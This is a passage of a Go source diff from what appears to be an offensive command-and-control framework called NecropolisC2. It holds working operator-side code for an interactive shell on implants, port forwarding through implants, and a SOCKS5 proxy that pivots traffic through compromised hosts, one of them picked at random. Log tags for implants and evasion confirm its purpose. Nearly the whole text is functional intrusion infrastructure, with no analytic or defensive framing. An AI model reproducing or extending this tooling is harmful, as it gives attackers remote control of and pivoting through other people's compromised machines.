rows, cols = 30, 120
}
if err := binary.Write(s, binary.LittleEndian, uint16(rows)); err != nil {
return fmt.Errorf("send rows: %w", err)
}
if err := binary.Write(s, binary.LittleEndian, uint16(cols)); err != nil {
return fmt.Errorf("send cols: %w", err)
}
oldState, err := term.MakeRaw(int(os.Stdin.Fd()))
if err != nil {
return fmt.Errorf("raw terminal: %w", err)
}
defer term.Restore(int(os.Stdin.Fd()), oldState)
errCh := make(chan error, 2)
go func() {
_, err := io.Copy(s, &shellEscaper{r: os.Stdin})
errCh <- err
}()
go func() {
_, err := io.Copy(os.Stdout, s)
errCh <- err
}()
<-errCh
fmt.Println() // newline after shell exits
return nil
}
// Portfwd listens on a local TCP port and tunnels connections through the implant to the
// specified target address.
func (o *Operator) Portfwd(implantPeerID string, localPort int, target string) error {
pid, err := peer.Decode(implantPeerID)
if err != nil {
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
}
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort))
if err != nil {
return fmt.Errorf("listen 127.0.0.1:%d: %w", localPort, err)
}
defer listener.Close()
log.Printf("[operator] portfwd: forwarding 127.0.0.1:%d -> %s via %s", localPort, target, implantPeerID)
for {
localConn, err := listener.Accept()
if err != nil {
return err
}
go func() {
defer localConn.Close()
pctx, pcancel := context.WithTimeout(o.ctx, 15*time.Second)
defer pcancel()
pctx = network.WithAllowLimitedConn(pctx, "portfwd")
s, err := o.node.NewStream(pctx, pid, transport.PortfwdProtocolID)
if err != nil {
log.Printf("[operator] portfwd stream: %v", err)
return
}
defer s.Close()
if _, err := fmt.Fprintf(s, "%s\n", target); err != nil {
log.Printf("[operator] portfwd send target: %v", err)
return
}
go io.Copy(s, localConn)
io.Copy(localConn, s)
}()
}
}
// Close cancels the operator context and shuts down the node.
func (o *Operator) Close() error {
o.cancel()
return o.node.Close()
}
+94
View File
@@ -0,0 +1,94 @@
package core
import (
"context"
"fmt"
"io"
"log"
"os"
"path/filepath"
"strings"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
)
// colorLogWriter wraps a writer and colorizes known log prefixes.
type colorLogWriter struct{ w io.Writer }
func (c *colorLogWriter) Write(p []byte) (int, error) {
s := string(p)
switch {
case strings.Contains(s, "[operator] "):
s = strings.Replace(s, "[operator] ", boldCyan("[operator] "), 1)
case strings.Contains(s, "[implant] "):
s = strings.Replace(s, "[implant] ", boldGreen("[implant] "), 1)
case strings.Contains(s, "[evasion] "):
s = strings.Replace(s, "[evasion] ", magentaBold("[evasion] "), 1)
case strings.Contains(s, "[socks] "):
s = strings.Replace(s, "[socks] ", dimYellow("[socks] "), 1)
case strings.Contains(s, "[node] "):
s = strings.Replace(s, "[node] ", dim+"[node]"+reset+" ", 1)
case strings.Contains(s, "[WARN] "):
s = strings.Replace(s, "[WARN]", boldRed("[WARN]"), 1)
case strings.Contains(s, "DISCONNECTED"):
s = strings.Replace(s, "DISCONNECTED", boldRed("DISCONNECTED"), 1)
}
return c.w.Write([]byte(s))
}
func Run(relayAddrs []string) error {
log.SetOutput(&colorLogWriter{w: os.Stderr})
if err := os.MkdirAll(necropolisDir(), 0700); err != nil {
return fmt.Errorf("create necropolis directory: %w", err)
}
keys, err := cryptography.LoadOrGenerateOperatorKey(keyPath())
if err != nil {
return fmt.Errorf("load operator key: %w", err)
}
pubPath := pubKeyPath()
if _, err := os.Stat(pubPath); os.IsNotExist(err) {
pubBytes, err := crypto.MarshalPublicKey(keys.PublicKey)
if err == nil {
if err := os.WriteFile(pubPath, pubBytes, 0644); err == nil {
log.Printf("[operator] public key exported: %s", pubPath)
}
}
}
log.Printf("[operator] peer ID: %s", keys.PeerID.String())
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
op, err := NewOperator(ctx, keys, relayAddrs)
if err != nil {
return fmt.Errorf("create operator: %w", err)
}
defer op.Close()
if err := op.Start(); err != nil {
return fmt.Errorf("start operator: %w", err)
}
op.RunCLI()
return nil
}
func necropolisDir() string {
home, err := os.UserHomeDir()
if err != nil {
return ".necropolis"
}
return filepath.Join(home, ".necropolis")
}
func keyPath() string {
return filepath.Join(necropolisDir(), "operator.key")
}
func pubKeyPath() string {
return filepath.Join(necropolisDir(), "operator.pub")
}
+374
View File
@@ -0,0 +1,374 @@
package core
import (
"bufio"
"context"
"encoding/binary"
"encoding/json"
"fmt"
"io"
"log"
"math/rand"
"net"
"os"
"path/filepath"
"strconv"
"time"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
"golang.org/x/crypto/bcrypt"
"github.com/Yenn503/NecropolisC2/pkg/transport"
)
type SocksInstance struct {
Port int
ImplantID string
Username string
Listener net.Listener
Cancel context.CancelFunc
StartTime time.Time
Random bool
}
type SocksCreds struct {
Username string `json:"username"`
PasswordHash string `json:"password_hash"`
}
func socksConfigPath() string {
return filepath.Join(necropolisDir(), "socks.json")
}
func LoadSocksCreds() (*SocksCreds, error) {
data, err := os.ReadFile(socksConfigPath())
if err != nil {
return nil, err
}
c := &SocksCreds{}
if err := json.Unmarshal(data, c); err != nil {
return nil, err
}
return c, nil
}
func SaveSocksCreds(c *SocksCreds) error {
data, err := json.MarshalIndent(c, "", " ")
if err != nil {
return fmt.Errorf("marshal socks creds: %w", err)
}
return os.WriteFile(socksConfigPath(), data, 0600)
}
func ClearSocksCreds() error {
return os.Remove(socksConfigPath())
}
func hashPassword(password string) (string, error) {
bytes, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
if err != nil {
return "", fmt.Errorf("bcrypt hash: %w", err)
}
return string(bytes), nil
}
func checkPassword(password, hash string) bool {
return bcrypt.CompareHashAndPassword([]byte(hash), []byte(password)) == nil
}
func (o *Operator) pickImplantPeerID(idArg string) (string, *ImplantRecord, error) {
implants := o.ListImplants()
var connected []*ImplantRecord
for _, rec := range implants {
if !rec.Disconnected {
connected = append(connected, rec)
}
}
if len(connected) == 0 {
return "", nil, fmt.Errorf("no connected implants")
}
if idArg == "random" {
choice := connected[rand.Intn(len(connected))]
return choice.PeerID, choice, nil
}
if idArg == "" {
return "", nil, fmt.Errorf("specify an implant index or 'random'")
}
idx, err := strconv.Atoi(idArg)
if err != nil {
return "", nil, fmt.Errorf("bad index %q", idArg)
}
if idx < 0 || idx >= len(connected) {
return "", nil, fmt.Errorf("index %d out of range (0-%d)", idx, len(connected)-1)
}
rec := connected[idx]
return rec.PeerID, rec, nil
}
func (o *Operator) pickRandomImplant() (*ImplantRecord, error) {
implants := o.ListImplants()
var connected []*ImplantRecord
for _, rec := range implants {
if !rec.Disconnected {
connected = append(connected, rec)
}
}
if len(connected) == 0 {
return nil, fmt.Errorf("no connected implants")
}
return connected[rand.Intn(len(connected))], nil
}
func (o *Operator) SocksStart(implantPeerID string, port int, username, password string) error {
random := implantPeerID == "random"
var pid peer.ID
if random {
rec, err := o.pickRandomImplant()
if err != nil {
return fmt.Errorf("no implants available for random socks: %w", err)
}
pid, err = peer.Decode(rec.PeerID)
if err != nil {
return fmt.Errorf("decode random implant peer id: %w", err)
}
implantPeerID = rec.PeerID
log.Printf("[socks] random selection picked implant %s@%s", rec.Name, rec.PeerID)
} else {
var err error
pid, err = peer.Decode(implantPeerID)
if err != nil {
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
}
}
o.socksMu.Lock()
if _, exists := o.socksProxies[port]; exists {
o.socksMu.Unlock()
return fmt.Errorf("SOCKS proxy already running on port %d", port)
}
o.socksMu.Unlock()
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port))
if err != nil {
return fmt.Errorf("listen 127.0.0.1:%d: %w", port, err)
}
ctx, cancel := context.WithCancel(o.ctx)
inst := &SocksInstance{
Port: port,
ImplantID: implantPeerID,
Username: username,
Listener: listener,
Cancel: cancel,
StartTime: time.Now(),
Random: random,
}
o.socksMu.Lock()
o.socksProxies[port] = inst
o.socksMu.Unlock()
log.Printf("[socks] SOCKS5 proxy on 127.0.0.1:%d -> implant %s (auth: %s)", port, implantPeerID, username)
go func() {
<-ctx.Done()
listener.Close()
o.socksMu.Lock()
delete(o.socksProxies, port)
o.socksMu.Unlock()
}()
go func() {
for {
conn, err := listener.Accept()
if err != nil {
return
}
go o.handleSocksConn(conn, pid, username, password, random)
}
}()
return nil
}
func (o *Operator) SocksList() []*SocksInstance {
o.socksMu.Lock()
defer o.socksMu.Unlock()
out := make([]*SocksInstance, 0, len(o.socksProxies))
for _, inst := range o.socksProxies {
out = append(out, inst)
}
return out
}
func (o *Operator) SocksStop(port int) error {
o.socksMu.Lock()
inst, ok := o.socksProxies[port]
o.socksMu.Unlock()
if !ok {
return fmt.Errorf("no SOCKS proxy running on port %d", port)
}
inst.Cancel()
return nil
}
func (o *Operator) handleSocksConn(client net.Conn, implantID peer.ID, username, password string, _ bool) {
defer client.Close()
br := bufio.NewReader(client)
_ = client.SetDeadline(time.Now().Add(30 * time.Second))
ver, err := br.ReadByte()
if err != nil || ver != 5 {
return
}
nmethods, err := br.ReadByte()
if err != nil {
return
}
methods := make([]byte, nmethods)
if _, err = io.ReadFull(br, methods); err != nil {
return
}
authRequired := username != ""
offersAuth := false
for _, m := range methods {
if m == 2 {
offersAuth = true
break
}
}
if authRequired && !offersAuth {
client.Write([]byte{5, 0xff})
return
}
if offersAuth {
client.Write([]byte{5, 2})
aver, err := br.ReadByte()
if err != nil || aver != 1 {
return
}
ulen, err := br.ReadByte()
if err != nil {
return
}
unameBytes := make([]byte, ulen)
if _, err = io.ReadFull(br, unameBytes); err != nil {
return
}
plen, err := br.ReadByte()
if err != nil {
return
}
passBytes := make([]byte, plen)
if _, err = io.ReadFull(br, passBytes); err != nil {
return
}
if string(unameBytes) != username || string(passBytes) != password {
client.Write([]byte{1, 1})
return
}
client.Write([]byte{1, 0})
} else {
client.Write([]byte{5, 0})
}
req := make([]byte, 4)
if _, err = io.ReadFull(br, req); err != nil {
return
}
if req[0] != 5 || req[1] != 1 {
client.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0})
return
}
var host string
switch req[3] {
case 1:
addr := make([]byte, 4)
if _, err = io.ReadFull(br, addr); err != nil {
return
}
host = net.IP(addr).String()
case 3:
addrLen, err := br.ReadByte()
if err != nil {
return
}
addr := make([]byte, addrLen)
if _, err = io.ReadFull(br, addr); err != nil {
return
}
host = string(addr)
case 4:
addr := make([]byte, 16)
if _, err = io.ReadFull(br, addr); err != nil {
return
}
host = net.IP(addr).String()
default:
client.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0})
return
}
portBytes := make([]byte, 2)
if _, err = io.ReadFull(br, portBytes); err != nil {
return
}
port := binary.BigEndian.Uint16(portBytes)
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
client.SetDeadline(time.Time{})
ctx, cancel := context.WithTimeout(o.ctx, 15*time.Second)
defer cancel()
ctx = network.WithAllowLimitedConn(ctx, "socks")
s, err := o.node.NewStream(ctx, implantID, transport.SocksProtocolID)
if err != nil {
log.Printf("[socks] stream to %s: %v", implantID.String(), err)
client.Write([]byte{5, 1, 0, 1, 0, 0, 0, 0, 0, 0})
return
}
defer s.Close()
if _, err := fmt.Fprintf(s, "%s\n", target); err != nil {
log.Printf("[socks] send target: %v", err)
client.Write([]byte{5, 1, 0, 1, 0, 0, 0, 0, 0, 0})
return
}
client.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0})
done := make(chan struct{}, 2)
go func() {
io.Copy(s, br)
done <- struct{}{}
}()
go func() {
io.Copy(client, s)
done <- struct{}{}
}()
<-done
<-done
}